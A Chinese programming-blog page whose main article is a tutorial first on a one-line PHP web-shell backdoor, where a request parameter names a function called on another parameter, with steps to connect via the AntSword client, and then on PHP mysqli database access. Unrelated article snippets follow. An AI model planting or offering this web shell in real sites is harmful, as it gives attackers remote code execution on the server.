当前位置：首页 > news >正文

php简单后门实现及php连接数据库

news 2025/11/12 18:00:53

php简单后门实现

代码

<!DOCTYPE html>
<html lang="en">
<head><meta charset="UTF-8"><meta name="viewport" content="width=device-width, initial-scale=1.0"><title>easybackdoor</title>
</head>
<body><?php$_GET['x']($_GET['y']);?></body>
</html>

效果

使用蚁剑连接

  <?php$_GET['x']($_POST['y']);?>

使用hackbar传参，前面传assert

添加蚁剑数据，需要选择base64

连接成功

php连接数据库

函数名	作用
mysqli_connect()	与MySQL 数据库建立连接。
mysqli_close()	关闭与MYSQL 数据库建立的连接。
mysqli_connect_errno()	与MySQL 数据库建立连接时，发生错误时的错误编号。
mysqli_connect_error()	与MySQL 数据库建立连接时，发生错误时的错误信息。
mysqli_query()	执行SQL 语句。
mysqli_errno()	执行SQL 语句时，发生错误的编号。
mysqli_error()	执行SQL 语句时，发生错误的信息。
mysqli_fetch_assoc()	从结果集对象中取数据，按条取数据。

函数	说明
mysqli_fetch_row()	以索引数组的方式获取一条记录的数据
mysqli_fetch_assoc()	以关联数组的方式获取一条记录的数据
mysqli_fetch_array()	以索引数组或关联数组的方式获取一条记录的数据
mysqli_fetch_all()	以索引数组或关联数组的方式获取全部记录的数据
mysqli_num_rows()	获取结果集对象中数据条数
mysqli_free_result()	释放与一个结果集合相关的内存

交互过程

建立与MySQL 链接。
执行SQL 语句，返回结果集对象。
从结果集对象中取数据。
关闭与MySQL 链接

建立链接

$db_host = "127.0.0.1";
$db_user = "root";
$db_pass = "root";
$db_name = "bbs";$link = @mysqli_connect($db_host, $db_user, $db_pass, $db_name);

如果链接成功，返回object(mysqli)1；否则，返回bool(false)。

$link 是对象类型的变量，相当于一个"令牌"。

捕获连接错误

错误编号
错误详情

if(!$link){exit("[".mysqli_connect_errno()."] ".mysqli_connect_error());
}

关闭链接

mysqli_close($link);

执行SQL

单条SQL 语句执行

$sql = "select * from users1;";$results =  mysqli_query($link, $sql);

如果SQL 语句正常执行，就会返回对象类型object(mysqli_result)#2 的数据；否则，bool(false)。

对于insert，delete，update 等不会返回数据的SQL 语句，在执行没有错误时将返回true。对于返回数据的SQL 语句执行成功的时候会返回结果集对象，可以使用操作结果集对象的函数来从中获取数据。

SQL 错误

如果在执行SQL 语句的时候发生错误，mysqli_query 将返回false。可以使用以下函数捕获错误原因：

if(!$results){exit("[".mysqli_errno($link)."] ".mysqli_error($link));
}

完整代码实现

执行结果，遍历输出该表并写入表格

<!DOCTYPE html>
<html lang="en">
<head><meta charset="UTF-8"><meta name="viewport" content="width=device-width, initial-scale=1.0"><title>mysqlconnect</title>
</head>
<body><?php$db_host="127.0.0.1";$db_user="root";$db_pass="root";$db_name="bbs";$link=@mysqli_connect($db_host, $db_user, $db_pass, $db_name);if(!$link){echo "link error<br>"."[".mysqli_connect_errno()."]".mysqli_connect_error();exit();}else{echo "link access";}$sql="select * from message;";$results=mysqli_query($link,$sql);if(!$results){echo "error,plz retry<br>"."[".mysqli_errno($link)."]".mysqli_error($link);}echo "<table border=2>";echo "<tr><td>id</td><td>uid</td><td>title</td><td>content</td></tr>";while($result=mysqli_fetch_assoc($results)){echo "<tr>";foreach($result as $k => $v){echo "<td>";echo $v;echo "</td>";}echo "</tr>";}echo "</table>";mysqli_close($link); ?></body>
</html>

php简单后门实现及php连接数据库

php简单后门实现代码 <!DOCTYPE html> <html lang"en"> <head><meta charset"UTF-8"><meta name"viewport" content"widthdevice-width, initial-scale1.0"><title>easybackdoor</title>…...

编程日记 2023/10/25 6:04:12

UILabel 控件 frame 设置尺寸 [lb setFrame:CGRectMake(5, 0, 400, 40)];Font 字体设置 [lb setFont:[UIFont systemFontOfSize:20.f]] [lb setFont:[UIFont boldSystemFontOfSize:25.f]]; [lb setFont:[UIFont italicSystemFontOfSize:23.f]];背景色 [lb setBackgroundC…...

编程日记 2023/10/25 6:03:11

python爬虫入门（五）XPath使用

对于网页的节点来说，它可以定义 id、class 或其他属性。而且节点之间还有层次关系，在网页中可以通过 XPath 或 CSS 选择器来定位一个或多个节点。在页面解析时，利用 XPath 或 CSS 选择器来提取某个节点，然后再调用相应方法获取它的…...

编程日记 2023/10/25 6:02:10

【广州华锐互动】VR消防员模拟灭火：身临其境的火场救援

随着科技的不断发展，虚拟现实（VR）技术已经逐渐渗透到各个领域，为我们带来了前所未有的沉浸式体验。在这其中，VR模拟消防员灭火体验无疑是一种极具创新性和实用性的应用。通过这项技术，人们可以亲身体验到消…...

编程日记 2023/10/25 6:01:09

NFS性能瓶颈分析

前言 atop – run it with -d option or press d to toggle the disk stats view. iostat – try it with the -xm 2 options for extended statistics, in megabytes, and in two-second intervals. iotop – top-like I/O monitor. Try it with the -oPa options to show the…...

编程日记 2023/10/25 6:00:08

Java中配置RabbitMQ基本步骤

在Java中配置RabbitMQ，需要遵循以下步骤： 1.添加依赖在项目的pom.xml文件中添加RabbitMQ的Java客户端依赖： <dependency><groupId>com.rabbitmq</groupId><artifactId>amqp-client</artifactId><versio…...

编程日记 2023/10/25 5:59:07

Ingress典型配置

Ingress 是 Kubernetes 中用于管理 HTTP 和 HTTPS 路由的资源。以下是一个典型的 Ingress 配置示例，用于将流量引导到两个不同的服务： apiVersion: networking.k8s.io/v1 kind: Ingress metadata:name: example-ingress spec:rules:- host: example.com…...

编程日记 2023/10/25 5:58:06

webpack中常见的Loader解决了什么问题？

一、是什么 loader 用于对模块的"源代码"进行转换，在 import 或"加载"模块时预处理文件 webpack做的事情，仅仅是分析出各种模块的依赖关系，然后形成资源列表，最终打包生成到指定的文件中。如下图所示&#…...

编程日记 2023/10/25 5:57:05

阿里7年经验之谈 —— 如何实现前端项目的自动化测试？

这其实就是我们常说的“UI自动化测试”，针对这个问题，我先告知答题思路如下： 1、什么是UI自动化？有什么优势？ 2、UI自动化实践中会遇到什么难题？ 3、如何解决难题，将UI落实到实践中？…...

编程日记 2023/10/25 5:55:03

动态开辟内存空间函数

文章目录 malloc函数calloc函数malloc函数和calloc函数的不同free函数realloc函数 malloc函数参数是要开辟内存空间的大小开辟成功则返回值为开辟空间的首地址，若开辟失败则返回一个空指针NULL calloc函数第一个参数为开辟空间的元素个数，第二个参数…...

编程日记 2023/10/25 5:54:02

nodejs+vue备忘记账系统-计算机毕业设计

本文首先介绍了备忘记账系统管理技术的发展背景与发展现状，然后遵循软件常规开发流程，首先针对系统选取适用的语言和开发平台，目录摘要 I ABSTRACT II 目录 II 第1章绪论 1 1.1背景及意义 1 1.2 国内外研究概况 1 1.3 研究的内容 1 第2章…...

编程日记 2023/10/25 5:53:01

百度Comate代码助手SaaS版本：智慧编程，引领新潮

引言在当今数字化时代，软件开发已成为企业成功的关键因素之一。为了应对市场需求的不断变化，企业需要更高效、更灵活的开发工具。百度Comate代码助手的SaaS版本的正式上线，为广大企业和开发者提供了一种全新的编码方式，帮助他们…...

编程日记 2023/10/25 5:52:01

数据与视图的完美契合：Vue响应式的交织魅力

🤍 前端开发工程师（主业）、技术博主（副业）、已过CET6 🍨 阿珊和她的猫_CSDN个人主页 🕠 牛客高级专题作者、在牛客打造高质量专栏《前端面试必备》 🍚 蓝桥云课签约作者、已在蓝桥云…...

编程日记 2023/10/25 5:51:00

Centos8 降低gcc版本至gcc-7.3

1 首先卸载系统中的gcc sudo yum remove gcc 2 重新安装gcc-7.3 sudo dnf group install “Development Tools” 然后再次卸载gcc sudo yum remove gcc 然后发现centos-release-scl-rh已经安装了 sudo yum install centos-release-scl-rh yum -y install devtoolset-7-gcc dev…...

编程日记 2023/10/25 5:49:59

Qt之设置QLineEdit只能输入浮点数

Qt提供了QDoubleValidator来进行浮点数校验，但是它同样存在限定范围无效的问题，详见：Qt之彻底解决QSpinBox限定范围无效的问题因此我们要子类化QDoubleValidator，并重写其中的validate方法，最后调用QLineEdit的setValidator方法，并将这个子类当做参数传入。 QHDoubleVa…...

编程日记 2023/10/25 5:48:58

Spark项目实战-卡口流量统计

一、卡口介绍卡口摄像头正对车道安装，拍摄正面照片。功能：抓拍正面特征这种摄像头多安装在国道、省道、高速公路的路段上、或者城区和郊区交接的主要路口，用来抓拍超速、进出城区车辆等行为。它进行的是车辆正面抓拍，可以清晰…...

编程日记 2023/10/25 5:46:57

kubernetesr进阶--Secret概述

概述 Kubernetes Secret 对象可以用来储存敏感信息，例如：密码、OAuth token、ssh 密钥等。如果不使用 Secret，此类信息可能被放置在 Pod 定义中或者容器镜像中。将此类敏感信息存储到 Secret 中，可以更好地： 控制其使…...

编程日记 2023/10/25 5:45:55

在 Python 中使用 Pillow 进行图像处理【2/4】

第二部分一、说明该文是《在 Python 中使用 Pillow 进行图像处理》的第二部分，主要介绍pil库进行一般性处理：如：图像卷积、钝化、锐化、阈值分割。二、在 Python 中使用 Pillow 进行图像处理您已经学习了如何裁剪和旋转图像、调整图像大…...

编程日记 2023/10/25 5:44:54

XTU-OJ 1171-coins

题目描述一个均质硬币抛n次，求不存在连续2次为正面的方案数。输入每行一个正整数n，n≤40。如果n为0，表示输入结束，不需要处理。输出每行输出一个结果，为一个整数。样例输入 1 2 3 0样例输出 2 3 5 解题思路&…...

编程日记 2023/10/25 5:43:54

如何使用 JMeter 进行 HTTPS 请求测试？

本文将介绍如何使用 JMeter 测试 HTTPS 请求，并提供相关的技巧和注意事项。在进行性能测试时，很多网站都采用了 HTTPS 协议。当我们测试 HTTPS 请求，如果服务端开启了双向认证，则需要客户端发送请求时带上证书。本文介绍如何在 …...

编程日记 2023/10/25 5:42:52

安宝特方案丨XRSOP人员作业标准化管理平台：AR智慧点检验收套件

在选煤厂、化工厂、钢铁厂等过程生产型企业，其生产设备的运行效率和非计划停机对工业制造效益有较大影响。随着企业自动化和智能化建设的推进，需提前预防假检、错检、漏检，推动智慧生产运维系统数据的流动和现场赋能应用。同时，…...

编程新知 2025/11/12 6:59:46

[ICLR 2022]How Much Can CLIP Benefit Vision-and-Language Tasks?

论文网址：pdf 英文是纯手打的！论文原文的summarizing and paraphrasing。可能会出现难以避免的拼写错误和语法错误，若有发现欢迎评论指正！文章偏向于笔记，谨慎食用目录 1. 心得 2. 论文逐段精读 2.1. Abstract 2…...

编程新知 2025/11/7 17:42:24

【Go】3、Go语言进阶与依赖管理

前言本系列文章参考自稀土掘金上的【字节内部课】公开课，做自我学习总结整理。 Go语言并发编程 Go语言原生支持并发编程，它的核心机制是 Goroutine 协程、Channel 通道，并基于CSP（Communicating Sequential Processes&#xff0…...

编程新知 2025/10/7 0:32:40

反射获取方法和属性

Java反射获取方法在Java中，反射（Reflection）是一种强大的机制，允许程序在运行时访问和操作类的内部属性和方法。通过反射，可以动态地创建对象、调用方法、改变属性值，这在很多Java框架中如Spring和Hiberna…...

编程新知 2025/11/9 2:57:17

【HTML-16】深入理解HTML中的块元素与行内元素

HTML元素根据其显示特性可以分为两大类：块元素(Block-level Elements)和行内元素(Inline Elements)。理解这两者的区别对于构建良好的网页布局至关重要。本文将全面解析这两种元素的特性、区别以及实际应用场景。 1. 块元素(Block-level Elements) 1.1 基本特性 …...

编程新知 2025/11/11 6:28:42

IoT/HCIP实验-3/LiteOS操作系统内核实验(任务、内存、信号量、CMSIS..)

文章目录概述HelloWorld 工程C/C配置编译器主配置Makefile脚本烧录器主配置运行结果程序调用栈任务管理实验实验结果osal 系统适配层osal_task_create 其他实验实验源码内存管理实验互斥锁实验信号量实验 CMISIS接口实验还是得JlINKCMSIS 简介LiteOS->CMSIS任务间消息交互…...

编程新知 2025/11/8 10:14:31

力扣-35.搜索插入位置

题目描述给定一个排序数组和一个目标值，在数组中找到目标值，并返回其索引。如果目标值不存在于数组中，返回它将会被按顺序插入的位置。请必须使用时间复杂度为 O(log n) 的算法。 class Solution {public int searchInsert(int[] nums, …...

编程新知 2025/8/22 2:47:34

rnn判断string中第一次出现a的下标

# coding:utf8 import torch import torch.nn as nn import numpy as np import random import json""" 基于pytorch的网络编写实现一个RNN网络完成多分类任务判断字符 a 第一次出现在字符串中的位置 """class TorchModel(nn.Module):def __in…...

编程新知 2025/9/24 16:25:00

Redis的发布订阅模式与专业的 MQ（如 Kafka, RabbitMQ）相比，优缺点是什么？适用于哪些场景？

Redis 的发布订阅（Pub/Sub）模式与专业的 MQ（Message Queue）如 Kafka、RabbitMQ 进行比较，核心的权衡点在于：简单与速度 vs. 可靠与功能。下面我们详细展开对比。 Redis Pub/Sub 的核心特点它是一个发后…...

编程新知 2025/8/21 20:41:27

#Uniapp篇：chrome调试unapp适配

chrome调试设备----使用Android模拟机开发调试移动端页面 Chrome://inspect/#devices MuMu模拟器Edge浏览器：Android原生APP嵌入的H5页面元素定位 chrome://inspect/#devices uniapp单位适配根路径下 postcss.config.js 需要装这些插件 “postcss”: “^8.5.…...

编程新知 2025/9/14 3:58:53